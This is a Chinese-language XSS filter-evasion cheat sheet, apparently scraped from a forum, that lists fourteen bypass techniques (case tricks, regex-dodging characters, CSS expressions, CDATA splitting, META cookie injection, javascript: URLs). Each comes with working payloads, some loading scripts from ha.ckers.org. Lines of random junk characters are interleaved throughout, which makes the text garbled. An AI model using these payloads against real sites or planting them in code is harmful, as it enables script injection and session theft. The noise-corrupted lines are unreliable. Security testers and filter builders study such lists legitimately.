1. 改变字符大小写6 p. H" m# {1 S m5 B8 i& o
, ~) T: J A5 s2 s2 T2 ]; o
) u+ k0 E8 l c! ` v
8 y8 S* z* L, s2 S) R7 G0 t <sCript>alert(‘d’)</scRipT>
2 O- y: ~0 y. h- ]) P# E
2 B, Z. Q9 D$ f' o7 v: ^ Q$ f2. 利用多加一些其它字符来规避Regular Expression的检查
/ F! \7 R2 [, E" `7 J' Z' D. } z) t; A
<<script>alert(‘c’)//<</script>% a. ]4 V! A J
/ J( o1 [+ d9 F" ?0 D2 A: M' B {- y <SCRIPT a=">" SRC="t.js"></SCRIPT>- m4 v' b8 U, y: P, O
2 J% [3 L% t: N* x9 J" O0 D& b <SCRIPT =">" SRC="t.js"></SCRIPT>: D" P- [' V; Z$ \, q5 v: ~! }
; M, k$ m- Q! y! G
<SCRIPT a=">" ” SRC="t.js"></SCRIPT>
: E* S6 r2 I* u5 }" H. z* r0 I3 ?' x3 Y3 l2 \! ~ q
<SCRIPT "a=’>’" SRC="t.js"></SCRIPT>! @. t% I! E& ~$ m% T
2 n' _9 e8 ~- z5 \% l5 [
<SCRIPT a=`>` SRC="t.js"></SCRIPT>& F+ [* U! A& W' C
j( e: M% }& X4 w4 g <SCRIPT a=">’>" SRC="t.js"></SCRIPT>& a0 x% Z. Z9 k; t
6 G$ ?1 s, D: I; r- `1 F, c
3. 以其它扩展名取代.js% h, R& I8 ]" @/ X
; K7 M$ b7 x; @, b3 i
<script src="bad.jpg"></script>0 m' N) H; t7 J! B4 t: q2 r
$ j5 P$ l4 o" n4 u
4. 将Javascript写在CSS档里
; T2 T8 Z& F9 {. e, i+ S9 }" p; Y# s; N+ x
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">& }. S5 u. O! z/ `6 i- F
# t, M( _5 [6 C, s. c* K8 h
example:
* X. C. c. w$ I2 b& h
8 f" c# j# O* G% m0 |- ?. | body {
1 v/ o) @( Z8 ]% T5 _; B) J7 F' N
background-image: url(‘javascript:alert("XSS");’)$ X% Z" M& M5 w$ [' }/ n7 [1 p" W0 `
/ ~- R7 B0 M5 Z
}+ ~/ v- W+ z: `
! I J; m( c) x/ H/ y
5. 在script的tag里加入一些其它字符$ ]0 h0 U7 H! I+ a$ l4 A
. f. E# d2 L" z <SCRIPT/SRC="t.js"></SCRIPT>4 h, v8 j$ S$ W* g# x+ q7 l
& a0 ^ \+ ~( n4 b8 m! i( w
<SCRIPT/anyword SRC="t.js"></SCRIPT>
6 [9 O: {, U6 x7 W
! }: d/ v: Y9 T* o$ E! y2 r: m6. 使用tab或是new line来规避
# C; o7 } G) Y+ k0 N" F( v+ P: b" ~, N. _+ R& E
<img src="jav ascr ipt:alert(‘XSS3′)">
2 r* D9 m/ K# i/ q' ?6 S
4 l, I& @" b. q! f <img src="jav ascr ipt:alert(‘XSS3′)">. f' [% U6 W' x' ~# O
2 @$ n; H# L5 _- [8 u
<IMG SRC="jav ascript:alert(‘XSS’);">% ]+ z; o( G5 t2 [
, u5 m5 S, y( G" V& ?; A -> tag
3 H$ S% M" _# y, |' S1 x3 {6 P' V* Q: s- \" ]
-> new line
- ?6 @$ E( L( O% n
, r% p" ~" q& [. d* n7 ?& m5 G% ]7. 使用"\"来规避
X5 n' E# q+ O: `5 A% N$ R- T5 p0 g( w$ w0 ~+ H& `8 n2 X }
<STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>- c- i: S# f+ {9 n5 B! b
7 Q' m& U, Y% q- \: G4 Y5 u
<IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>
# M1 R: o8 i6 `5 m0 K
9 N* l: K2 V0 u <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">
( I, N( E6 R7 f" ~1 Y* Z4 `+ b% ?, j1 ]8 f# @! p! K
<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
2 R: u5 r1 w. X: A( m
$ d0 O P* e4 q I+ e <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>& u3 ? U _8 V( ]( S, Q* Y
8 T7 p' ? d. F5 s8. 使用Hex encode来规避(也可能会把";"拿掉)
0 N) u* c3 Q5 C& \ `, u
- Z7 x' J/ G# g }3 h <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
; n" k" y, \& g' \; |+ W! U- w* I$ w- U* l9 y( e( y9 x0 i5 ^% I
原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">9 w- x4 R" e2 I
+ w5 Y8 {" D8 R' w/ ?
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
+ S2 b) E. Y9 e' Z
0 w5 {# b0 \& b2 `/ R- G. C 原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">) d6 J* s3 b- b; _1 n
- [& P* {0 v7 ~9. script in HTML tag/ V- v- N# r; e! g* S1 q
/ M2 F; h* G; m3 G* E; J4 v# i
<body onload=」alert(‘onload’)」>
( I ]. |5 Y9 Y5 ~ ^8 H/ r$ s* ^7 W: j+ n1 e
onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload/ a: g7 I' t* M1 z z) t6 s
) Y" k+ a9 C) o2 N, k. j% F10. 在swf里含有xss的code/ ^& J# J9 \, f: a5 F* v. }: L
`. O% y" v4 ]' S t <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>3 t- K+ o$ N: V' ~" |
5 ^4 v: _% O; Q6 n+ g
11. 利用CDATA将xss的code拆开,再组合起来。
- E5 j/ i- E* ^- g
9 r9 y8 P5 @6 i& i <XML ID=I><X><C>; ]0 A! U4 L# S4 @+ N8 Z
9 T% u+ J, T5 l6 @8 O% k <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
- J- a/ k+ Z. M% J
1 u8 ?: _# @8 e$ X' B) K( H2 \ </C></X>% `8 J0 \: z* e9 i" Z
. O4 D1 T; o% f </xml>
8 N$ ?2 H# H; u* i2 r
' p4 b6 w1 j' z5 j+ v0 E, K <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
" g/ C) ?1 G& B4 O) H* {- p. S1 |" \% B; A+ p: W
<XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>+ i$ i5 T; O4 V# l% f7 i7 Y
9 v( e f& {2 a/ e: a/ ?
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
3 j- I* D+ |( A+ r6 L" Y5 L
, J2 h& u( j4 {2 L; P12. 利用HTML+TIME。9 e4 m3 ?9 Z1 _: l8 U7 H
6 b `# E( O$ j1 B/ K. E
<HTML><BODY>: V0 z9 C3 w" ]: H
) E S% s- y6 x' e% R0 P
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">) Y0 n T" m$ N- f
/ X7 J5 U5 l6 I! b* N- @
<?import namespace="t" implementation="#default#time2">' v( _# Z8 T- Q: m C
6 u, Y' u; f, j h7 r <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">
/ W V; X* d. M& P0 s) } z/ Q- J; v ?( u
</BODY></HTML>; d) D. j# n) J" M2 j6 o
* ?" N/ s8 ~! c+ i13. 透过META写入Cookie。
- ^* V9 M( A- r7 _" Y% w
: ^* L: T3 m3 v) O9 | A <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">3 `- r! g0 H+ W$ l$ q* }* B. D
' g% h0 Q7 S/ K2 k0 v, n5 Y14. javascript in src , href , url4 G& U; P4 Q$ D; G8 y9 n
! U* U9 Z; k* w/ j5 W5 A8 [' @ <IFRAME SRC=javascript:alert(’13′)></IFRAME>
+ a3 X+ \- Z% C& Q/ ^" F
" H7 i% \$ x. W0 D5 X <img src="javascript:alert(‘XSS3′)">* |5 G6 L/ K5 x. X
! |) ~: O9 Z1 |( ~- m<IMG DYNSRC="javascript:alert(‘XSS20′)">% k/ W3 S8 }' N+ m/ C; G; q
3 ] t5 N$ |: j- k
<IMG LOWSRC="javascript:alert(‘XSS21′)">
8 ]# a, A8 g0 L, R0 `0 y" v$ D
* C7 J% `( u+ S7 ^ <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">
) A) I# t7 [$ q$ q, n% h7 U# Z$ M" s N$ g0 j4 l$ V
<IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>
* g2 j8 u5 X/ j" y( C$ S+ e0 t" e
# a5 X! A: j# Q( w3 M/ c: q <TABLE BACKGROUND="javascript:alert(‘XSS29′)">, `6 E+ M9 k* P1 z, b
; j8 u+ J& u+ [0 k5 T
<DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">
5 b v8 a* v9 h9 I! P: D/ g. F8 k2 r3 J( M, H6 F7 N4 L
<STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}
* t2 V6 k8 S2 O% r2 c4 {5 q1 i* }, k- b( K
</STYLE><A CLASS=XSS></A>
! X* |# i+ ]2 t% T; D2 M, @) Q4 `: b3 H) U
<FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>
& {% ]' c/ l; B% T! A
; G) \% K- r5 |) D# q% M5 J+ B |